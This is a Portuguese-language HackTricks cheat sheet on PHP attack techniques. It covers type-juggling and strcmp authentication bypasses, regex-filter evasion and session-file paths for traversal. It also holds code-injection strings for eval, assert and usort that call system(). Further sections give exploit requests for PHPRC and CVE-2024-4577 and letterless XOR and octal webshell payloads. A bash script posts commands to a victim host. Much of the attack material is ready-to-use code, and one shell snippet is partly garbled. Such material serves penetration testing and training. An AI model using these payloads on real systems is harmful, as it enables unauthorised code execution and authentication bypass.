.. | ||
php-useful-functions-disable_functions-open_basedir-bypass | ||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md | ||
php-ssrf.md | ||
README.md |
PHP Tricks
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
{% embed url="https://websec.nl/" %}
Localização comum de Cookies:
Isso também é válido para cookies do phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Localizações:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Bypassing PHP comparisons
Loose comparisons/Type Juggling ( == )
Se ==
for usado em PHP, então há casos inesperados onde a comparação não se comporta como esperado. Isso ocorre porque "==" só compara valores transformados para o mesmo tipo, se você também quiser comparar se o tipo dos dados comparados é o mesmo, você precisa usar ===
.
Tabelas de comparação PHP: https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
Uma string que não começa com um número é igual a um número"0xAAAA" == "43690" -> True
Strings compostas por números em formato dec ou hex podem ser comparadas a outros números/strings com True como resultado se os números forem os mesmos (números em uma string são interpretados como números)"0e3264578" == 0 --> True
Uma string que começa com "0e" e é seguida por qualquer coisa será igual a 0"0X3264578" == 0X --> True
Uma string que começa com "0" e é seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0"0e12334" == "0" --> True
Isso é muito interessante porque em alguns casos você pode controlar a entrada da string "0" e algum conteúdo que está sendo hashado e comparado a ela. Portanto, se você puder fornecer um valor que criará um hash começando com "0e" e sem nenhuma letra, você poderá contornar a comparação. Você pode encontrar strings já hashadas com esse formato aqui: https://github.com/spaze/hashes"X" == 0 --> True
Qualquer letra em uma string é igual a int 0
Mais informações em https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling também afeta a função in_array()
por padrão (você precisa definir o terceiro argumento como true para fazer uma comparação estrita):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Se esta função for usada para qualquer verificação de autenticação (como verificar a senha) e o usuário controlar um lado da comparação, ele pode enviar um array vazio em vez de uma string como o valor da senha (https://example.com/login.php/?username=admin&password[]=
) e contornar essa verificação:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
O mesmo erro ocorre com strcasecmp()
Manipulação Estrita de Tipos
Mesmo que ===
esteja sendo usado, pode haver erros que tornam a comparação vulnerável à manipulação de tipos. Por exemplo, se a comparação estiver convertendo os dados para um tipo diferente de objeto antes de comparar:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
pode ser usado para validar a entrada do usuário (ele verifica se alguma palavra/regex de uma lista negra está presente na entrada do usuário e, se não estiver, o código pode continuar sua execução).
Bypass de nova linha
No entanto, ao delimitar o início da regexp, preg_match()
verifica apenas a primeira linha da entrada do usuário, então, se de alguma forma você puder enviar a entrada em várias linhas, você poderá contornar essa verificação. Exemplo:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Para contornar essa verificação, você pode enviar o valor com novas linhas urlencoded (%0A
) ou, se puder enviar dados JSON, enviá-los em várias linhas:
{
"cmd": "cat /etc/passwd"
}
Encontre um exemplo aqui: https://ramadistra.dev/fbctf-2019-rceservice
Bypass de erro de comprimento
(Este bypass foi aparentemente testado no PHP 5.2.5 e eu não consegui fazê-lo funcionar no PHP 7.3.15)
Se você puder enviar para preg_match()
uma entrada muito grande válida, ele não conseguirá processá-la e você poderá bypassar a verificação. Por exemplo, se estiver bloqueando um JSON, você poderia enviar:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
Bypass ReDoS
Truque de: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 e https://mizu.re/post/pong
Em resumo, o problema ocorre porque as funções preg_*
no PHP se baseiam na biblioteca PCRE. No PCRE, certas expressões regulares são correspondidas usando muitas chamadas recursivas, o que consome muito espaço na pilha. É possível definir um limite na quantidade de recursões permitidas, mas no PHP esse limite padrão é 100.000, que é mais do que cabe na pilha.
Este tópico do Stackoverflow também foi vinculado na postagem onde se fala mais detalhadamente sobre esse problema. Nossa tarefa agora estava clara:
Enviar uma entrada que fizesse a regex realizar 100_000+ recursões, causando SIGSEGV, fazendo a função preg_match()
retornar false
, assim fazendo a aplicação pensar que nossa entrada não é maliciosa, surpreendendo no final do payload algo como {system(<verybadcommand>)}
para obter SSTI --> RCE --> flag :).
Bem, em termos de regex, na verdade não estamos fazendo 100k "recursões", mas sim contando "passos de retrocesso", que como a documentação do PHP afirma, o padrão é 1_000_000 (1M) na variável pcre.backtrack_limit
.\
Para alcançar isso, 'X'*500_001
resultará em 1 milhão de passos de retrocesso (500k para frente e 500k para trás):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Manipulação de Tipos para ofuscação de PHP
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Se o PHP estiver redirecionando para outra página, mas nenhuma função die
ou exit
for chamada após o cabeçalho Location
ser definido, o PHP continuará executando e anexando os dados ao corpo:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Exploração de Path Traversal e Inclusão de Arquivos
Verifique:
{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}
Mais truques
- register_globals: Em PHP < 4.1.1.1 ou se mal configurado, register_globals pode estar ativo (ou seu comportamento está sendo imitado). Isso implica que em variáveis globais como $_GET, se tiverem um valor, por exemplo, $_GET["param"]="1234", você pode acessá-lo via $param. Portanto, ao enviar parâmetros HTTP, você pode sobrescrever variáveis que são usadas dentro do código.
- Os cookies PHPSESSION do mesmo domínio são armazenados no mesmo lugar, portanto, se dentro de um domínio cookies diferentes são usados em caminhos diferentes, você pode fazer com que um caminho acesse o cookie do outro caminho definindo o valor do cookie do outro caminho.
Dessa forma, se ambos os caminhos acessarem uma variável com o mesmo nome, você pode fazer com que o valor dessa variável em path1 se aplique a path2. E então path2 considerará válidos as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2). - Quando você tem os nomes de usuário dos usuários da máquina. Verifique o endereço: /~<USERNAME> para ver se os diretórios php estão ativados.
- LFI e RCE usando wrappers php
password_hash/password_verify
Essas funções são tipicamente usadas em PHP para gerar hashes a partir de senhas e para verificar se uma senha está correta em comparação com um hash.
Os algoritmos suportados são: PASSWORD_DEFAULT
e PASSWORD_BCRYPT
(começa com $2y$
). Note que PASSWORD_DEFAULT é frequentemente o mesmo que PASSWORD_BCRYPT. E atualmente, PASSWORD_BCRYPT tem uma limitação de tamanho na entrada de 72bytes. Portanto, quando você tenta hash algo maior que 72bytes com este algoritmo, apenas os primeiros 72B serão usados:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusando de erros PHP
Causando erro após definir cabeçalhos
A partir de este thread do twitter você pode ver que ao enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta.
Permitindo contornar, por exemplo, cabeçalhos CSP sendo definidos em códigos como:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Preenchendo um corpo antes de definir cabeçalhos
Se uma página PHP está imprimindo erros e ecoando de volta alguma entrada fornecida pelo usuário, o usuário pode fazer com que o servidor PHP imprima de volta algum conteúdo longo o suficiente para que, ao tentar adicionar os cabeçalhos na resposta, o servidor lance um erro.
No cenário a seguir, o atacante fez o servidor lançar alguns grandes erros, e como você pode ver na tela, quando o PHP tentou modificar as informações do cabeçalho, não conseguiu (então, por exemplo, o cabeçalho CSP não foi enviado ao usuário):
SSRF em funções PHP
Verifique a página:
{% content-ref url="php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
Execução de código
system("ls");
`ls`;
shell_exec("ls");
Verifique isso para mais funções PHP úteis
RCE via preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Para executar o código no argumento "replace" é necessário pelo menos uma correspondência.
Esta opção de preg_replace foi descontinuada a partir do PHP 5.5.0.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
Esta função dentro do php permite que você execute código que está escrito em uma string para retornar verdadeiro ou falso (e dependendo disso alterar a execução). Normalmente, a variável do usuário será inserida no meio de uma string. Por exemplo:
assert("strpos($_GET['page']),'..') === false")
--> Neste caso, para obter RCE você poderia fazer:
?page=a','NeVeR') === false and system('ls') and strpos('a
Você precisará quebrar a sintaxe do código, adicionar seu payload e então corrigi-lo novamente. Você pode usar operações lógicas como "and" ou "%26%26" ou "|". Note que "or", "||" não funciona porque se a primeira condição for verdadeira, nosso payload não será executado. Da mesma forma, ";" não funciona, pois nosso payload não será executado.
Outra opção é adicionar à string a execução do comando: '.highlight_file('.passwd').'
Outra opção (se você tiver o código interno) é modificar alguma variável para alterar a execução: $file = "hola"
RCE via usort()
Esta função é usada para ordenar um array de itens usando uma função específica.
Para abusar desta função:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
Você também pode usar // para comentar o restante do código.
Para descobrir o número de parênteses que você precisa fechar:
?order=id;}//
: recebemos uma mensagem de erro (Parse error: syntax error, unexpected ';'
). Provavelmente estamos perdendo um ou mais colchetes.?order=id);}//
: recebemos um aviso. Isso parece certo.?order=id));}//
: recebemos uma mensagem de erro (Parse error: syntax error, unexpected ')' i
). Provavelmente temos colchetes de fechamento demais.
RCE via .httaccess
Se você pode fazer upload de um .htaccess, então você pode configurar várias coisas e até executar código (configurando que arquivos com extensão .htaccess podem ser executados).
Diferentes shells .htaccess podem ser encontrados aqui
RCE via Variáveis de Ambiente
Se você encontrar uma vulnerabilidade que permite modificar variáveis de ambiente no PHP (e outra para fazer upload de arquivos, embora com mais pesquisa talvez isso possa ser contornado), você poderia abusar desse comportamento para obter RCE.
LD_PRELOAD
: Esta variável de ambiente permite que você carregue bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).PHPRC
: Instruções ao PHP sobre onde localizar seu arquivo de configuração, geralmente chamadophp.ini
. Se você puder fazer upload do seu próprio arquivo de configuração, então, usePHPRC
para apontar o PHP para ele. Adicione uma entradaauto_prepend_file
especificando um segundo arquivo enviado. Este segundo arquivo contém código PHP normal, que é então executado pelo tempo de execução do PHP antes de qualquer outro código.
- Faça upload de um arquivo PHP contendo nosso shellcode
- Faça upload de um segundo arquivo, contendo uma diretiva
auto_prepend_file
instruindo o pré-processador PHP a executar o arquivo que enviamos na etapa 1 - Defina a variável
PHPRC
para o arquivo que enviamos na etapa 2.
- Obtenha mais informações sobre como executar essa cadeia do relatório original.
- PHPRC - outra opção
- Se você não puder fazer upload de arquivos, você poderia usar no FreeBSD o "arquivo"
/dev/fd/0
que contém ostdin
, sendo o corpo da solicitação enviada para ostdin
: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Ou para obter RCE, habilite
allow_url_include
e prepend um arquivo com código PHP em base64: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Técnica desse relatório.
XAMPP CGI RCE - CVE-2024-4577
O servidor web analisa solicitações HTTP e as passa para um script PHP executando uma solicitação como http://host/cgi.php?foo=bar
como php.exe cgi.php foo=bar
, o que permite uma injeção de parâmetro. Isso permitiria injetar os seguintes parâmetros para carregar o código PHP do corpo:
-d allow_url_include=1 -d auto_prepend_file=php://input
Além disso, é possível injetar o parâmetro "-" usando o caractere 0xAD devido à normalização posterior do PHP. Verifique o exemplo de exploit neste post:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
Análise estática de PHP
Veja se você consegue inserir código em chamadas para essas funções (de aqui):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Se você está depurando uma aplicação PHP, pode habilitar globalmente a impressão de erros em /etc/php5/apache2/php.ini
adicionando display_errors = On
e reiniciar o apache: sudo systemctl restart apache2
Deobfuscando código PHP
Você pode usar o web www.unphp.net para deobfuscar código php.
Wrappers e Protocolos PHP
Wrappers e protocolos PHP podem permitir que você bypasse proteções de escrita e leitura em um sistema e o comprometa. Para mais informações, consulte esta página.
RCE não autenticada do Xdebug
Se você ver que Xdebug está habilitado na saída de phpconfig()
, você deve tentar obter RCE via https://github.com/nqxcode/xdebug-exploit
Variáveis variáveis
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE abusando de novo $_GET["a"]($_GET["b")
Se em uma página você pode criar um novo objeto de uma classe arbitrária, você pode ser capaz de obter RCE, verifique a página a seguir para aprender como:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}
Execute PHP sem letras
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Usando octal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
Código de shell fácil XOR
De acordo com este artigo, é possível gerar um shellcode fácil desta forma:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Então, se você pode executar PHP arbitrário sem números e letras, você pode enviar uma solicitação como a seguinte, abusando desse payload para executar PHP arbitrário:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Para uma explicação mais detalhada, consulte https://ctf-wiki.org/web/php/php/#preg_match
Shellcode XOR (dentro de eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl like
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.